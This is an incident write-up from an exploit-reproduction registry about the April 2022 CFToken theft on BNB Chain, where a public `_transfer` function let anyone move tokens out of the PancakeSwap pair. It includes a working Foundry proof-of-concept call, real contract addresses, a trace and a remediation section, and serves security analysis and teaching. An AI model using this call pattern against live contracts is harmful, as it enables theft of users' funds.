Reproduced Exploit
CFToken Exploit — Exposed `public _transfer` Lets Anyone Drain the Pair's Tokens
1. CFToken implements its own BEP-20. The internal balance-moving helper _transfer(address from, address to, uint256 amount) — the function that does _tOwned[from] -= amount; _tOwned[to] += amount — was mistakenly declared public instead of internal (CFToken.sol — _transfer, inside the merged CFTok…
Loss
The PoC pulls 1,000 CF (1e21 raw, 18-decimals) directly out of the PancakeSwap pair in a single external call…
Chain
BNB Chain
Category
Access Control
Date
Apr 2022
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2022-04-cftoken_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/cftoken_exp.sol.
Vulnerability classes: vuln/access-control/missing-auth
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder. Full verbose trace: output.txt. Verified vulnerable source: CFToken (the deployed contract is a single merged file
CFTokenSinglePool_merge.sol; the relevantCFTokencontract lives inside it), PancakePair.
Key info#
| Loss | The PoC pulls 1,000 CF (1e21 raw, 18-decimals) directly out of the PancakeSwap pair in a single external call; the attacker nets 930 CF (930,000,000,000,000,000,000 raw) after the token's 7% buy fee is skimmed off and re-routed — see output.txt:64 |
| Vulnerable contract | CFToken ("Creat future", symbol CF) — 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196 (BSC) |
| Victim pool | CF/USDT PancakeSwap pair — 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b |
| Attacker (PoC) | Foundry DefaultSender [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38] — the msg.sender of testExploit() (output.txt:73) |
| Attack tx (real) | 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0 (BSC) — referenced from the PoC header (cftoken_exp.sol:9) |
| Chain / block / date | BSC / 16,841,980 / April 2022 (output.txt:68) |
| Compiler | Solidity v0.6.12 (v0.6.12+commit.27d51765), optimizer enabled (1), 999 runs (_meta.json) |
| Bug class | Access control / visibility — the ERC20 _transfer helper was declared public instead of internal, exposing an arbitrary from/to/amount balance-mover with no caller authorization |
TL;DR#
-
CFTokenimplements its own BEP-20. The internal balance-moving helper_transfer(address from, address to, uint256 amount)— the function that does_tOwned[from] -= amount; _tOwned[to] += amount— was mistakenly declaredpublicinstead ofinternal(CFToken.sol —_transfer, inside the mergedCFTokenSinglePool_merge.sol, decoded source lines 563-622). Because it takesfromas an explicit parameter, it is not "transfer your tokens" — it is "move anyone's tokens." (The verified on-chain source is stored as a JSON source bundle; line numbers below refer to the decoded innerCFTokencontract within the merged file.) -
There is no caller authorization inside
_transferat all: noonlyOwner, no allowance check, norequire(msg.sender == from). The only guard is an optional whitelist gate (useWhiteListSwith) that the contract's own constructor populates with the pair, router, and fee wallets — and which the live configuration left permissive enough for the call to go through (output.txt:76-87). -
The attacker calls
CFToken._transfer(pair, attacker, 1000e18)directly. The contract happily debits 1,000 CF from the PancakeSwap pair's internal_tOwned[pair]and credits it toward the recipient — bypassingtransferFrom/approval and bypassing the AMM'sswap()/sync()pricing entirely (output.txt:76). -
Because the
fromaddress is the registered PancakeSwap pair (uniswapV2PairList[from] == true), the call also trips CFToken's "buy-fee" branch: 7% of the moved amount (70 CF) is silently re-routed — 14 CF back to the pair as "LP reward", 21 CF to the foundation wallet, and 35 CF to the buyback callback (output.txt:77-79). The recipient therefore nets 930 CF of the 1,000 CF pulled (acceptAmount = amount - fee, CFToken.sol_transferdecoded lines 617-621). -
Net effect: the attacker obtains 930 CF for free — the pair's reserves are looted by a single permissionless external call, with no USDT paid in and no LP tokens burned. The full 1,000 CF left the pair; 930 went to the attacker and 70 was scattered into the project's fee wallets as a side effect of the buy-fee logic.
Background — what CFToken does#
CFToken (source) is a hand-rolled BEP-20 token ("Creat future", symbol CF, 18 decimals) deployed on BSC. It is not an OpenZeppelin-derived ERC20 — the author reimplemented transfer / transferFrom / _transfer / _approve from scratch. Two design features matter for the exploit:
-
Custom buy-fee logic baked into
_transfer. Whenever thefromaddress is a registered AMM pair (uniswapV2PairList[from] == true) and thetoaddress is not fee-exempt, a 7% "buy fee" is taken out of the moved amount and split three ways: 20% of the fee to the pair as "LP reward", 30% to a foundation wallet, and 50% to a buyback callback contract (CFToken.sol_transferfee branch, decoded lines 576-612). The recipient only getsamount - fee. -
A whitelist switch (
useWhiteListSwith) that, whentrue, requiresmsg.sender,from, andtoto all be whitelisted. The constructor pre-whitelists the deployer, the router, the project's own USDT pair, the foundation wallet, the fee wallet, and the buyback callback. The whitelist is therefore not a general access control on_transfer— it is a trading-restriction list, and several addresses (notably the pair itself) sit inside it.
On-chain parameters at the fork block (read from the source and confirmed by the trace):
| Parameter | Value | Note |
|---|---|---|
| Name / symbol / decimals | "Creat future" / CF / 18 | (CFToken.sol constructor, decoded lines 386-415) |
_supply / _tTotal | 13,000,000 CF | (CFToken.sol _supply = 13000000, decoded line 367) |
buyFeeRate | 7 (i.e. 7%) | applied when from is a registered pair |
lpRewardRate / foundationRate / buybackRate | 20 / 30 / 50 (% of the fee) | fee split inside _transfer |
uniswapV2PairUsdt (the victim) | 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b | registered in uniswapV2PairList ⇒ triggers buy-fee |
foundationAddress | 0xa9056272Ca777a63ae3A275d7aab078fd90A1691 | receives 30% of fee (output.txt:78) |
callback (buyback wallet) | 0x3eCfFcCc4C35CCd71A7c61446c90117fb7995fB1 | receives 50% of fee (output.txt:79) |
useWhiteListSwith | true | whitelist gate is on, but the pair is whitelisted |
The single fact that makes the exploit possible: _transfer is public, takes from as a parameter, and performs no authorization beyond the whitelist — which the pair satisfies.
The vulnerable code#
1. _transfer is public, not internal, and moves any account's balance#
function _transfer(
address from,
address to,
uint256 amount
) public { // ⚠️ should be `internal`
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(useWhiteListSwith){
require(msgSenderWhiteList[msg.sender] && fromWhiteList[from] && toWhiteList[to], "Transfer not allowed");
}
uint256 fee = 0;
if (uniswapV2PairList[from] && !noFeeWhiteList[to]) {
fee = calculateBuyFee(amount); // 7% of amount
... // fee split: LP / foundation / buyback
}
...
uint acceptAmount = amount - fee;
_tOwned[from] = _tOwned[from].sub(amount); // ⚠️ debits `from` unconditionally
_tOwned[to] = _tOwned[to].add(acceptAmount); // ⚠️ credits `to`
emit Transfer(from, to, acceptAmount);
}
(CFToken.sol — _transfer, decoded lines 563-622 inside the merged CFTokenSinglePool_merge.sol)
Two defects in one signature:
- Visibility.
_transferis declaredpublic. In a correct BEP-20 implementation this helper isinternaland is only ever called by the contract's owntransfer/transferFrom(which supplymsg.sender-boundfrom). Here it is a first-class external entry point. - No authorization on
from. There is norequire(msg.sender == from), noonlyOwner, no allowance decrement. The sole gate is the whitelist, and the victim pair (0x7FdC0D…) is whitelisted at construction. So_transfer(pair, anyone, amount)is a valid, non-reverting call that moves the pair's tokens.
2. The PoC invokes it as a plain external call#
The exploit does not go through transfer, transferFrom, the router, or the pair's swap(). It calls the helper directly with the pair as from:
interface ICFToken {
function _transfer(address from, address to, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
function testExploit() public {
emit log_named_uint("Before exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);
emit log_named_uint("After exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
}
(cftoken_exp.sol — testExploit)
That single call is the entire attack. No flash loan, no price manipulation, no re-entrancy — just a function that should have been internal.
Root cause — why it was possible#
This is a visibility / access-control defect, the same class of bug as the Sandbox _burn flaw and the various "internal helper leaked as public" incidents: an implementation detail that performs a privileged state mutation was exposed as a public, externally-callable function with no caller check.
Concretely, three independent mistakes compose into the loss:
-
_transferispublic. A function named with a leading underscore is, by universal Solidity convention, aninternalhelper. The author wrotepublicinstead, making it part of the contract's external ABI. The deployed bytecode therefore exposesfunction _transfer(address,address,uint256)to anyone. -
fromis a parameter, not derived frommsg.sender. A correcttransfer(to, amt)calls_transfer(msg.sender, to, amt)internally — the caller is the source. By letting the caller choosefrom,_transferbecomes "move tokens from any account to any account." -
The whitelist is not an access-control list for
_transfer.useWhiteListSwithis a trading restriction: it whitelists the pair, router, foundation, fee wallet, and callback so the token's fee machinery can operate. The victim PancakeSwap pair is on that list, so the whitelist gate — the only check inside_transfer— passes for the attack call. The whitelist was never designed to stop "anyone calling_transferwith the pair asfrom," because_transferwas never supposed to be callable by anyone at all.
The buy-fee logic then runs as a side effect: because from is a registered pair, 70 CF of the 1,000 CF moved is silently re-routed to LP/foundation/buyback, leaving the attacker with 930 CF. The fee does not protect the pair — it is computed on top of the theft.
Preconditions#
- The attacker can send a transaction to BSC calling
CFToken._transfer. No special role, no allowance, no token balance, no ETH/BNB collateral is required — the call is permissionless. from(the victim pair0x7FdC0D…) must satisfy the whitelist, which it does by construction (the token whitelists its own USDT pair at deployment).toandmsg.sendermust satisfy the whitelist. In the live attack the operator-configured whitelist permitted the attacker's addresses; in the PoC the FoundryDefaultSenderand the recipient resolve against the fork's whitelist state and the call succeeds non-reverting (output.txt:76-87).- The pair must hold a non-zero CF balance to drain. The PoC moves 1,000 CF; larger amounts up to the pair's full
_tOwned[pair]are equally reachable.
Attack walkthrough (with on-chain numbers from the trace)#
The PoC forks BSC at block 16,841,980 (output.txt:68) and runs exactly one exploit call. All numbers below are read directly from the trace.
| # | Step | CF balance of attacker (msg.sender) | CF balance of pair (from) | Effect / evidence |
|---|---|---|---|---|
| 0 | Initial state — balanceOf(attacker) before the call | 0 | (pair holds the project's CF liquidity) | Before exploit, cftoken balance:: 0 (output.txt:63, output.txt:74) |
| 1 | The exploit call — CFToken._transfer(pair, attacker, 1_000_000_000_000_000_000_000) (1e21 = 1,000 CF), invoked directly as an external call (output.txt:76) | — | -1,000 CF (full amount debited via _tOwned[from].sub(amount)) | The from (pair) is in uniswapV2PairList, so the 7% buy-fee branch fires. |
| 1a | … buy-fee split — _tOwned[pair] += lpRewardAmount (20% of 70 CF fee = 14 CF, 1.4e19 raw) | 0 | pair is re-credited 14 CF | Transfer(from=pair, to=pair, 14000000000000000000) (output.txt:77) |
| 1b | … _tOwned[foundationAddress] += foundationAmount (30% of 70 CF = 21 CF, 2.1e19 raw) | 0 | — | Transfer(pair → 0xa9056272…, 21000000000000000000) (output.txt:78) |
| 1c | … _tOwned[callback] += buybackAmountTmp (50% of 70 CF = 35 CF, 3.5e19 raw) | 0 | — | Transfer(pair → 0x3eCfFcCc…, 35000000000000000000) (output.txt:79) |
| 1d | … final recipient credit — _tOwned[attacker] += acceptAmount where acceptAmount = 1,000 - 70 = 930 CF (9.3e20 raw) | 930 CF | — | Transfer(pair → DefaultSender, 930000000000000000000) (output.txt:80) |
| 2 | Final state — balanceOf(attacker) after the call | 930,000,000,000,000,000,000 raw (930 CF) | pair lost a net 986 CF (1,000 debited − 14 re-credited as LP reward) | After exploit, cftoken balance:: 930000000000000000000 (output.txt:64, output.txt:90) |
Pool state evolution. The pair's internal _tOwned[pair] (CFToken's own ledger, not the PancakePair's cached reserve0) drops by 986 CF: 930 CF to the attacker, 21 CF to the foundation, 35 CF to the buyback callback (the 14 CF "LP reward" is refunded back to the pair, so it nets out). Note that this desynchronizes CFToken's _tOwned[pair] from the PancakePair's reserve0 — the pair's cached reserves still claim the old CF amount until a subsequent sync()/swap() re-prices it, which is an additional accounting hazard but not required for the theft itself.
Profit / loss accounting (CF, raw 18-decimal wei)#
| Item | Amount (raw wei) | ~Human |
|---|---|---|
Amount pulled from the pair (amount argument) | 1,000,000,000,000,000,000,000 | 1,000 CF |
Buy fee skimmed (7% of amount) | 70,000,000,000,000,000,000 | 70 CF |
| → of which LP reward back to pair (20% of fee) | 14,000,000,000,000,000,000 | 14 CF |
| → of which to foundation wallet (30% of fee) | 21,000,000,000,000,000,000 | 21 CF |
| → of which to buyback callback (50% of fee) | 35,000,000,000,000,000,000 | 35 CF |
Attacker's net receipt (acceptAmount = amount − fee) | 930,000,000,000,000,000,000 | 930 CF |
| Pair's net CF loss (1,000 − 14 LP refund) | 986,000,000,000,000,000,000 | 986 CF |
The attacker's net receipt exactly matches the PoC's asserted post-balance: After exploit, cftoken balance:: 930000000000000000000 (output.txt:64).
Diagrams#
Sequence of the attack#
State evolution of CFToken's internal ledger#
The flaw inside _transfer — visibility#
Why each magic number#
1_000_000_000_000_000_000_000(1e21, theamountargument): 1,000 CF in 18-decimal raw wei. It is the amount pulled out of the pair's_tOwnedbalance. The PoC picks a round 1,000 CF for clarity; any value up to the pair's full CF balance would work identically.1e21→ 930 CF net: the token'sbuyFeeRate = 7(7%) fires becausefromis the registered pair, sofee = 1,000 × 7 / 100 = 70 CFandacceptAmount = 1,000 − 70 = 930 CF. That is why the attacker ends with930,000,000,000,000,000,000(output.txt:64) rather than1e21.- Fee split 14 / 21 / 35 CF: the source's
lpRewardRate = 20,foundationRate = 30,buybackRate = 50(percentages of the fee). 20% of 70 = 14; 30% of 70 = 21; 50% of 70 = 35. These match the three intermediateTransferevents in the trace (output.txt:77-79). - Pair address
0x7FdC0D…and token address0x8B7218…: the deployed CFToken and its USDT pair on BSC, taken from the PoC constants (cftoken_exp.sol:30-31) and confirmed in the trace (output.txt:73, output.txt:76). - Block
16_841_980: the BSC fork block pinned by the PoC (cftoken_exp.sol:35, output.txt:68).
Remediation#
- Make
_transferinternal. Changingfunction _transfer(…) publictofunction _transfer(…) internalcloses the hole completely — the helper is then only callable fromtransfer/transferFrom, which correctly bindfrom = msg.sender. This is the minimal, surgical fix. - Never let a balance-mover take
fromas an unauthenticated parameter. If for some reason a public helper that moves another account's tokens is genuinely required, it must enforcerequire(msg.sender == from || allowance[from][msg.sender] >= amount)and decrement the allowance — i.e., it must betransferFrom, not a second_transfer. - Adopt a battle-tested ERC20 base. Inheriting OpenZeppelin's
ERC20(or the BEP-20 equivalent) avoids this entire class of error:_transferisinternal virtual, and the only public move-functions aretransfer(self-bound) andtransferFrom(allowance-bound). - Add a lint/CI rule that flags any
public/externalfunction whose name starts with_and that writes to a balance mapping without anonlyOwner/allowance check. The leading-underscore convention exists precisely to signal "internal helper"; violating it should fail review. - Re-audit the whitelist semantics.
useWhiteListSwithis a trading gate, not an access-control list for arbitrary balance moves. Once_transferisinternal, this ceases to matter — but the conflation of "whitelisted for trading" with "trusted to call internal helpers" is the conceptual error that let the bug ship.
How to reproduce#
The PoC runs fully offline via the shared harness, which serves the fork from the bundled anvil_state.json on a local anvil port. The test's createSelectFork points at http://127.0.0.1:8546 (cftoken_exp.sol:35); no public RPC is used.
_shared/run_poc.sh 2022-04-cftoken_exp --mt testExploit -vvvvv
- Compiler: Solidity 0.8.10 for the test harness (the vulnerable on-chain contract was 0.6.12; the PoC only references its ABI via
ICFToken).evm_version = "cancun"in foundry.toml. - Test contract:
ContractTestin test/cftoken_exp.sol; test function:testExploit. - Expected result:
[PASS] testExploit()with the attacker's CF balance going0 → 930000000000000000000.
Expected tail of output.txt:
Ran 1 test for test/cftoken_exp.sol:ContractTest
[PASS] testExploit() (gas: 88733)
Logs:
Before exploit, cftoken balance:: 0
After exploit, cftoken balance:: 930000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.73s (3.50s CPU time)
Reference: CFToken exposed public _transfer access-control flaw, BSC, April 2022 — analysis summary and attack tx 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0 referenced from the PoC header (cftoken_exp.sol:8-9); original write-up https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ .
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2022-04-cftoken_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
cftoken_exp.sol.
Alerts & third-party analyses
- DeFiHackLabs incident explorer: search "CFToken Exploit".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.